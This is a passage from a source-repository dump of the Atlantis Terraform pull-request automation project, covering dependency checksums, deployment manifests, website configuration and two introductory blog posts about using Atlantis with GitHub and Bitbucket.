v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.36.7 h1:IgrO7UwFQGJdRNXH/sQux4R1Dj1WAKcLElzeeRaXV2A= google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= ================================================ FILE: goss.yaml ================================================ # See: https://github.com/goss-org/goss/blob/master/docs/gossfile.md command: # ensure atlantis is available atlantis-available: exec: "atlantis version" exit-status: 0 stdout: [] stderr: [] # ensure conftest is available conftest-available: exec: "conftest -v" exit-status: 0 stdout: [] stderr: [] # ensure git-lfs is available git-lfs-available: exec: "git-lfs -v" exit-status: 0 stdout: [] stderr: [] # ensure terraform is available terraform-available: exec: "terraform version" exit-status: 0 stdout: [] stderr: [] # ensure tofu binary is available tofu-available: exec: "tofu version" exit-status: 0 stdout: [] stderr: [] ================================================ FILE: kustomize/bundle.yaml ================================================ --- apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: serviceName: atlantis replicas: 1 updateStrategy: type: RollingUpdate rollingUpdate: partition: 0 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: securityContext: fsGroup: 1000 # Atlantis group (1000) read/write access to volumes. containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:latest env: - name: ATLANTIS_DATA_DIR value: /atlantis - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. volumeMounts: - name: atlantis-data mountPath: /atlantis ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP volumeClaimTemplates: - metadata: name: atlantis-data spec: accessModes: ["ReadWriteOnce"] # Volume should not be shared by multiple nodes. resources: requests: # The biggest thing Atlantis stores is the Git repo when it checks it out. # It deletes the repo after the pull request is merged. storage: 5Gi --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis ================================================ FILE: kustomize/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization resources: - bundle.yaml ================================================ FILE: main.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package main is the entrypoint for the CLI. package main import ( "fmt" "github.com/runatlantis/atlantis/cmd" "github.com/runatlantis/atlantis/server/logging" "github.com/spf13/viper" ) // All of this is filled in by goreleaser upon release // https://goreleaser.com/cookbooks/using-main.version/ var ( version = "dev" commit = "none" date = "unknown" ) func main() { v := viper.New() logger, err := logging.NewStructuredLogger() logger.Debug("atlantis %s, commit %s, built at %s\n", version, commit, date) if err != nil { panic(fmt.Sprintf("unable to initialize logger. %s", err.Error())) } var sha = commit if len(commit) >= 7 { sha = commit[:7] } atlantisVersion := fmt.Sprintf("%s (commit: %s) (build date: %s)", version, sha, date) // We're creating commands manually here rather than using init() functions // (as recommended by cobra) because it makes testing easier. server := &cmd.ServerCmd{ ServerCreator: &cmd.DefaultServerCreator{}, Viper: v, AtlantisVersion: atlantisVersion, Logger: logger, } version := &cmd.VersionCmd{AtlantisVersion: atlantisVersion} testdrive := &cmd.TestdriveCmd{} cmd.RootCmd.AddCommand(server.Init()) cmd.RootCmd.AddCommand(version.Init()) cmd.RootCmd.AddCommand(testdrive.Init()) cmd.Execute() } ================================================ FILE: netlify.toml ================================================ # Netlify Config, https://www.netlify.com/docs/netlify-toml-reference/ [build] base = "/" command = "npm install && npm run website:build" publish = "runatlantis.io/.vitepress/dist/" [[redirects]] force = true from = "/guide/getting-started.html" status = 301 to = "/guide/" [[redirects]] force = true from = "/docs/atlantis-yaml-reference.html" status = 301 to = "/docs/repo-level-atlantis-yaml.html" [[headers]] for = "/*" [headers.values] Cache-Control = "public, max-age=86400" Referrer-Policy = "no-referrer" Strict-Transport-Security = "max-age=86400; includeSubDomains; preload" X-Content-Type-Options = "nosniff" X-Frame-Options = "DENY" X-XSS-Protection = "1; mode=block" [[headers]] for = "*.html" [headers.values] Content-Type = "text/html; charset=UTF-8" ================================================ FILE: package.json ================================================ { "license": "Apache-2.0", "type": "module", "devDependencies": { "@playwright/test": "1.58.2", "@types/node": "24.10.13", "@vueuse/core": "12.8.2", "markdown-it-footnote": "4.0.0", "markdownlint-cli": "0.47.0", "mermaid": "11.12.3", "sitemap-ts": "1.10.1", "vite": "6.4.1", "vitepress": "1.6.4", "vitepress-plugin-mermaid": "2.0.17", "vue": "3.5.28" }, "overrides": { "minimatch": "^10.2.1", "markdown-it": "^14.1.1" }, "scripts": { "website:dev": "vitepress dev --host localhost --port 8080 runatlantis.io", "website:lint": "markdownlint runatlantis.io", "website:lint-fix": "markdownlint --fix runatlantis.io", "website:build": "vitepress build runatlantis.io", "e2e": "playwright test" } } ================================================ FILE: playwright.config.cjs ================================================ module.exports = { testDir: './runatlantis.io/e2e' }; ================================================ FILE: runatlantis.io/.vitepress/components/Banner.vue ================================================ ================================================ FILE: runatlantis.io/.vitepress/components/shims.d.ts ================================================ declare module '*.vue' { import type { DefineComponent } from 'vue'; const component: DefineComponent; export default component; } ================================================ FILE: runatlantis.io/.vitepress/config.ts ================================================ import { generateSitemap as sitemap } from "sitemap-ts" import footnote from 'markdown-it-footnote' import { defineConfig } from 'vitepress'; import * as navbars from "./navbars"; import * as sidebars from "./sidebars"; import { withMermaid } from "vitepress-plugin-mermaid"; // https://vitepress.dev/reference/site-config const config = defineConfig({ title: 'Atlantis', description: 'Atlantis: Terraform Pull Request Automation', lang: 'en-US', lastUpdated: true, locales: { root: { label: 'English', lang: 'en-US', themeConfig: { nav: navbars.en, sidebar: sidebars.en, }, }, }, themeConfig: { // https://vitepress.dev/reference/default-theme-config editLink: { pattern: 'https://github.com/runatlantis/atlantis/edit/main/runatlantis.io/:path' }, // headline "depth" the right nav will show for its TOC // // https://vitepress.dev/reference/frontmatter-config#outline outline: [2, 3], search: { provider: 'algolia', options: { // We internally discussed how this API key is exposed in the code and decided // that it is a non-issue because this API key can easily be extracted by // looking at the browser dev tools since the key is used in the API requests. apiKey: '3b733dff1539ca3a210775860301fa86', indexName: 'runatlantis', appId: 'BH4D9OD16A', locales: { '/': { placeholder: 'Search Documentation', translations: { button: { buttonText: 'Search Documentation', }, }, }, }, } }, socialLinks: [ { icon: "slack", link: "https://slack.cncf.io/" }, { icon: "twitter", link: "https://twitter.com/runatlantis" }, { icon: "github", link: "https://github.com/runatlantis/atlantis" }, ], footer: { message: 'The Linux Foundation® (TLF) has registered trademarks and uses trademarks. For a list of TLF trademarks, see Trademark Usage.', }, }, // SEO Improvement - sitemap.xml & robots.txt buildEnd: async ({ outDir }) => { sitemap({ hostname: "https://www.runatlantis.io/", outDir: outDir, generateRobotsTxt: true, }) }, head: [ ['link', { rel: 'icon', type: 'image/png', href: '/favicon-196x196.png', sizes: '196x196' }], ['link', { rel: 'icon', type: 'image/png', href: '/favicon-96x96.png', sizes: '96x96' }], ['link', { rel: 'icon', type: 'image/png', href: '/favicon-32x32.png', sizes: '32x32' }], ['link', { rel: 'icon', type: 'image/png', href: '/favicon-16x16.png', sizes: '16x16' }], ['link', { rel: 'icon', type: 'image/png', href: '/favicon-128.png', sizes: '128x128' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '57x57', href: '/apple-touch-icon-57x57.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '114x114', href: '/apple-touch-icon-114x114.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '72x72', href: '/apple-touch-icon-72x72.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '144x144', href: '/apple-touch-icon-144x144.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '60x60', href: '/apple-touch-icon-60x60.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '120x120', href: '/apple-touch-icon-120x120.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '76x76', href: '/apple-touch-icon-76x76.png' }], ['link', { rel: 'apple-touch-icon-precomposed', sizes: '152x152', href: '/apple-touch-icon-152x152.png' }], ['meta', { name: 'msapplication-TileColor', content: '#FFFFFF' }], ['meta', { name: 'msapplication-TileImage', content: '/mstile-144x144.png' }], ['meta', { name: 'msapplication-square70x70logo', content: '/mstile-70x70.png' }], ['meta', { name: 'msapplication-square150x150logo', content: '/mstile-150x150.png' }], ['meta', { name: 'msapplication-wide310x150logo', content: '/mstile-310x150.png' }], ['meta', { name: 'msapplication-square310x310logo', content: '/mstile-310x310.png' }], ['link', { rel: 'stylesheet', sizes: '152x152', href: 'https://fonts.googleapis.com/css?family=Lato:400,900' }], ['meta', { name: 'google-site-verification', content: 'kTnsDBpHqtTNY8oscYxrQeeiNml2d2z-03Ct9wqeCeE' }], // google analytics [ 'script', { async: '', src: 'https://www.googletagmanager.com/gtag/js?id=G-PGYBJTZMP2' } ], [ 'script', {}, `window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-PGYBJTZMP2');` ], [ 'script', { id: 'restore-banner-preference' }, ` (() => { const restore = (key, cls, def = false) => { const saved = localStorage.getItem(key); if (saved ? saved !== 'false' && new Date() < saved : def) { document.documentElement.classList.add(cls); } }; restore('survey-banner', 'banner-dismissed'); })();`, ] ], markdown: { config: (md) => { md.use(footnote) } }, vite: { server: { fs: { cachedChecks: false, }, } } }) export default withMermaid(config) ================================================ FILE: runatlantis.io/.vitepress/navbars.ts ================================================ const en = [ { text: "Home", link: "/" }, { text: "Guide", link: "/guide" }, { text: "Docs", link: "/docs" }, { text: "Contributing", link: "/contributing" }, { text: "Blog", link: "/blog" }, ]; export { en }; ================================================ FILE: runatlantis.io/.vitepress/sidebars.ts ================================================ const en = [ { text: "Guide", link: "/guide", collapsed: false, items: [ { text: "Test Drive", link: "/guide/test-drive" }, { text: "Testing locally", link: "/guide/testing-locally" }, ], }, { text: "Docs", link: "/docs", collapsed: true, items: [ { text: "Installing Atlantis", collapsed: true, items: [ { text: "Installing Guide", link: "/docs/installation-guide" }, { text: "Requirements", link: "/docs/requirements" }, { text: "Git Host Access Credentials", link: "/docs/access-credentials" }, { text: "Webhook Secrets", link: "/docs/webhook-secrets" }, { text: "Deployment", link: "/docs/deployment" }, { text: "Configuring Webhooks", link: "/docs/configuring-webhooks" }, { text: "Provider Credentials", link: "/docs/provider-credentials" }, ] }, { text: "Configuring Atlantis", collapsed: true, items: [ { text: "Overview", link: "/docs/configuring-atlantis" }, { text: "Server Configuration", link: "/docs/server-configuration" }, { text: "Server Side Repo Config", link: "/docs/server-side-repo-config" }, { text: "Pre Workflow Hooks", link: "/docs/pre-workflow-hooks" }, { text: "Post Workflow Hooks", link: "/docs/post-workflow-hooks" }, { text: "Conftest Policy Checking", link: "/docs/policy-checking" }, { text: "Custom Workflows", link: "/docs/custom-workflows" }, { text: "Repo and Project Permissions", link: "/docs/repo-and-project-permissions" }, { text: "Repo Level atlantis.yaml", link: "/docs/repo-level-atlantis-yaml" }, { text: "Upgrading atlantis.yaml", link: "/docs/upgrading-atlantis-yaml" }, { text: "Command Requirements", link: "/docs/command-requirements" }, { text: "Checkout Strategy", link: "/docs/checkout-strategy" }, { text: "Terraform Versions", link: "/docs/terraform-versions" }, { text: "Terraform Cloud", link: "/docs/terraform-cloud" }, { text: "Sending Notifications via Webhooks", link: "/docs/sending-notifications-via-webhooks" }, { text: "Stats", link: "/docs/stats" }, { text: "FAQ", link: "/docs/faq" }, ] }, { text: "Using Atlantis", collapsed: true, items: [ { text: "Overview", link: "/docs/using-atlantis" }, { text: "API endpoints", link: "/docs/api-endpoints" }, ] }, { text: 'How Atlantis Works', collapsed: true, items: [ { text: 'Overview', link: '/docs/how-atlantis-works', }, { text: 'Locking', link: '/docs/locking', }, { text: 'Autoplanning', link: '/docs/autoplanning', }, { text: 'Automerging', link: '/docs/automerging', }, { text: 'Security', link: '/docs/security', }, ] }, { text: 'Real-time Terraform Logs', link: '/docs/streaming-logs', }, { text: 'Troubleshooting', collapsed: true, items: [ { text: 'HTTPS, SSL, TLS', 'link': '/docs/troubleshooting-https', }, ] }, ], }, { text: "Contributing", link: "/contributing", collapsed: false, items: [ { text: 'Implementation Details', items: [ { text: "Events Controller", link: "/contributing/events-controller" }, ] }, { text: "Glossary", link: "/contributing/glossary" }, ] }, { text: "Blog", link: "/blog", collapsed: false, items: [ { text: "2025", collapsed: true, items: [ { text: "Atlantis on Google Cloud Run", link: "/blog/2025/atlantis-on-google-cloud-run" }, ] }, { text: "2024", collapsed: true, items: [ { text: "Integrating Atlantis with OpenTofu", link: "/blog/2024/integrating-atlantis-with-opentofu" }, { text: "Atlantis User Survey Results", link: "/blog/2024/april-2024-survey-results" }, ] }, { text: "2019", collapsed: true, items: [ { text: "4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage", link: "/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage" }, ] }, { text: "2018", collapsed: true, items: [ { text: "I'm Joining HashiCorp!", link: "/blog/2018/joining-hashicorp" }, { text: "Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too", link: "/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too" }, { text: "Atlantis 0.4.4 Now Supports Bitbucket", link: "/blog/2018/atlantis-0-4-4-now-supports-bitbucket" }, { text: "Terraform And The Dangers Of Applying Locally", link: "/blog/2018/terraform-and-the-dangers-of-applying-locally" }, { text: "Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform", link: "/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform" }, ] }, { text: "2017", collapsed: true, items: [ { text: "Introducing Atlantis", link: "/blog/2017/introducing-atlantis" }, ] }, ] } ] export { en } ================================================ FILE: runatlantis.io/.vitepress/theme/index.ts ================================================ import DefaultTheme from "vitepress/theme"; import { defineAsyncComponent, h } from 'vue'; export default { ...DefaultTheme, Layout() { return h(DefaultTheme.Layout, null, { 'layout-top': () => h(defineAsyncComponent(() => import('../components/Banner.vue'))) }); } }; ================================================ FILE: runatlantis.io/blog/2017/introducing-atlantis.md ================================================ --- title: Introducing Atlantis lang: en-US --- # Introducing Atlantis ::: info This post was originally written on September 11th, 2017 Original post: ::: We're very excited to announce the open source release of Atlantis! Atlantis is a tool for collaborating on Terraform that's been in use at Hootsuite for over a year. The core functionality of Atlantis enables developers and operators to run `terraform plan` and `apply` directly from Terraform pull requests. Atlantis then comments back on the pull request with the output of the commands: ![](intro/intro1.gif) This is a simple feature, however it has had a massive effect on how our team writes Terraform. By bringing a Terraform workflow to pull requests, Atlantis helped our Ops team collaborate better on Terraform and also enabled our entire development team to write and execute Terraform safely. Atlantis was built to solve two problems that arose at Hootsuite as we adopted Terraform: ### 1. Effective Collaboration What's the best way to collaborate on Terraform in a team setting? ### 2. Developers Writing Terraform How can we enable our developers to write and apply Terraform safely? ## Effective Collaboration When writing Terraform, there are a number of workflows you can follow. The simplest workflow is just using `master`: ![](intro/intro2.webp) In this workflow, you work on `master` and run `terraform` locally. The problem with this workflow is that there is no collaboration or code review. So we start to use pull requests: ![](intro/intro3.webp) We still run `terraform plan` locally, but once we're satisfied with the changes we create a pull request for review. When the pull request is approved, we run `apply` locally. This workflow is an improvement, but there are still problems. The first problem is that it's hard to review just the diff on the pull request. To properly review a change, you really need to see the output from `terraform plan`. ![](intro/intro4.webp) What looks like a small change... ![](intro/intro5.webp) ...can have a big plan The second problem is that now it's easy for `master` to get out of sync with what's actually been applied. This can happen if you merge a pull request without running `apply` or if the `apply` has an error halfway through, you forget to fix it and then you merge to `master`. Now what's in `master` isn't actually what's running on production. At best, this causes confusion the next time someone runs `terraform plan`. At worst, it causes an outage when someone assumes that what's in `master` is actually running, and depends on it. With the Atlantis workflow, these problems are solved: ![](intro/intro6.webp) Now it's easy to review changes because you see the `terraform plan` output on the pull request. ![](intro/intro7.webp) Pull requests are easy to review since you can see the plan It's also easy to ensure that the pull request is `terraform apply`'d before merging to master because you can see the actual `apply` output on the pull request. ![](intro/intro8.webp) So, Atlantis makes working on Terraform within an operations team much easier, but how does it help with getting your whole team to write Terraform? ## Developers Writing Terraform Terraform usually starts out being used by the Ops team. As a result of using Terraform, the Ops team becomes much faster at making infrastructure changes, but the way developers request those changes remains the same: they use a ticketing system or chat to ask operations for help, the request goes into a queue and later Ops responds that the task is complete. Soon however, the Ops team starts to realize that it's possible for developers to make some of these Terraform changes themselves! There are some problems that arise though: - Developers don't have the credentials to actually run Terraform commands - If you give them credentials, it's hard to review what is actually being applied With Atlantis, these problems are solved. All `terraform plan` and `apply` commands are run from the pull request. This means developers don't need to have any credentials to run Terraform locally. Of course, this can be dangerous: how can you ensure developers (who might be new to Terraform) aren't applying things they shouldn't? The answer is code reviews and approvals. Since Atlantis comments back with the `plan` output directly on the pull request, it's easy for an operations engineer to review exactly what changes will be applied. And Atlantis can run in `require-approval` mode, that will require a GitHub pull request approval before allowing `apply` to be run: ![](intro/intro9.webp) With Atlantis, developers are able to write and apply Terraform safely. They submit pull requests, can run `atlantis plan` until their change looks good and then get approval from Ops to `apply`. Since the introduction of Atlantis at Hootsuite, we've had **78** contributors to our Terraform repositories, **58** of whom are developers (**75%**). ## Where we are now Since the introduction of Atlantis at Hootsuite we've grown to 144 Terraform repositories [^1] that manage thousands of Amazon resources. Atlantis is used for every single Terraform change throughout our organization. ## Getting started with Atlantis If you'd like to try out Atlantis for your team you can download the latest release from . If you run `atlantis testdrive` you can get started in less than 5 minutes. To read more about Atlantis go to . Check out our video for more information: [^1]: We split our Terraform up into multiple states, each with its own repository (see [1], [2], [3]). [1]: https://blog.gruntwork.io/how-to-manage-terraform-state-28f5697e68fa [2]: https://charity.wtf/2016/03/30/terraform-vpc-and-why-you-want-a-tfstate-file-per-env/ [3]: https://www.nclouds.com/blog/terraform-multi-state-management/ ================================================ FILE: runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket.md ================================================ --- title: Atlantis 0.4.4 Now Supports Bitbucket lang: en-US --- # Atlantis 0.4.4 Now Supports Bitbucket ::: info This post was originally written on July 25th, 2018 Original post: ::: ![](atlantis-0-4-4-now-supports-bitbucket/pic1.webp) Atlantis is an [open source](https://github.com/runatlantis/atlantis) platform for using Terraform in teams. I'm happy to announce that the [latest release](https://github.com/runatlantis/atlantis/releases) of Atlantis (0.4.4) now supports both Bitbucket Cloud (bitbucket.org) **and** Bitbucket Server (aka Stash). ![](atlantis-0-4-4-now-supports-bitbucket/pic2.gif) Atlantis now supports the three major Git hosts: GitHub, GitLab and Bitbucket. The rest of this post will talk about how to use Atlantis with Bitbucket. ## What is Atlantis? Atlantis is a self-hosted application that listens for Terraform pull request events via webhooks. It runs `terraform plan` and `apply` remotely and comments back on the pull request with the output. With Atlantis, you collaborate on the Terraform pull request itself instead of running `terraform apply` from your own computers which can be dangerous: Check out for more information. ## Getting Started The easiest way to try out Atlantis with Bitbucket is to run Atlantis locally on your own computer. Eventually you'll want to deploy it as a standalone app but this is the easiest way to try it out. Follow [these instructions](https://www.runatlantis.io/guide/getting-started.html) to get Atlantis running locally. Create a Pull Request If you've got the Atlantis webhook configured for your repository and Atlantis is running, it's time to create a new pull request. I recommend adding a `null_resource` to one of your Terraform files for the the test pull request. It won't actually create anything so it's safe to use as a test. Using the web editor, open up one of your Terraform files and add: ```tf resource "null_resource" "example" {} ``` ![](atlantis-0-4-4-now-supports-bitbucket/pic3.webp) Click Commit and select **Create a pull request for this change**. ![](atlantis-0-4-4-now-supports-bitbucket/pic4.webp) Wait a few seconds and then refresh. Atlantis should have automatically run `terraform plan` and commented back on the pull request: ![](atlantis-0-4-4-now-supports-bitbucket/pic5.webp) Now it's easier for your colleagues to review the pull request because they can see the `terraform plan` output. ### Terraform Apply Since all we're doing is adding a null resource, I think it's safe to run `terraform apply`. To do so, I add a comment to the pull request: `atlantis apply`: ![](atlantis-0-4-4-now-supports-bitbucket/pic6.webp) Atlantis is listening for pull request comments and will run `terraform apply` remotely and comment back with the output: ![](atlantis-0-4-4-now-supports-bitbucket/pic7.webp) ### Pull Request Approvals If you don't want anyone to be able to `terraform apply`, you can run Atlantis with `--require-approval` or add that setting to your [atlantis.yaml file](https://www.runatlantis.io/docs/command-requirements.html#approved). This will ensure that the pull request has been approved before someone can run `apply`. ## Other Features ### Customizable Commands Apart from being able to `plan` and `apply` from the pull request, Atlantis also enables you to customize the exact commands that are run via an `atlantis.yaml` config file. For example to use the `-var-file` flag: 